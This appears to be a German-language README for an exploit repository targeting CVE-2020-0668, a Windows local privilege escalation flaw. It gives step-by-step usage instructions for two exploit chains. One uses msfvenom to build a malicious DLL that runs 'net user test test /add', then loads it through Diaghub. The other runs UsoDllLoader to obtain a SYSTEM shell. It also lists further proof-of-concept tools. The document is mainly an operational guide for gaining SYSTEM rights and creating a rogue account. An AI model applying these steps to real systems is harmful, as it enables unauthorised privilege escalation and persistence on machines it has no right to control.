CVE-2020-0668

CVE-2020-0668-Exploit für Version < win10 v1903 und Version >= win10 v1903 zum Laufen bringen

Diaghub-Exploit (< v1903)

Der PowerShell-Exploit funktioniert auf Version < win10 v1903 mit Diaghub.

Verwendung

• SCHRITT 1：evil.dll mit msfvenom erzeugen
  • Beispiel Benutzer hinzufügen： msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• SCHRITT 2：exp.ps1 mit PowerShell ausführen
• SCHRITT 3：Diaghub.exe C:\ProgramData evil.dll ausführen, um die DLL zu laden und den Benutzer hinzuzufügen.

• Diaghub

UsoDllLoader-Exploit (>= v1903)

Der PowerShell-Exploit funktioniert auf Version >= win10 v1903 mit UsoDllLoader.

Verwendung

• SCHRITT 1：exp.ps1 mit PowerShell ausführen
• SCHRITT 2：UsoDllLoader.exe ausführen, um eine System-Shell zu erhalten

• UsoDllLoader

Weitere Exploits oder PoCs

SysTracingPoc-Exploit

Eine x86-Release-Version von SysTracingPoc für Issue. Der Exploit funktioniert wegen UsoLoadDll auf Version >= win10 v1903.

• SysTracingPoc

RedCursorSecurityConsulting-PoC

Ein .NET-PoC. Wenn du dir C:\Windows\System32\evil.dll ansiehst und sie in evil.txt umbenennst.

Du wirst feststellen, dass es keine DLL-Datei ist. Sie enthält nur ein Tracing-Protokoll.

• CVE-2020-0668

Nan3r-PoC

Ein PowerShell-PoC. Auch hier nur ein Tracing-Protokoll in evil.dll.

• CVE-2020-0668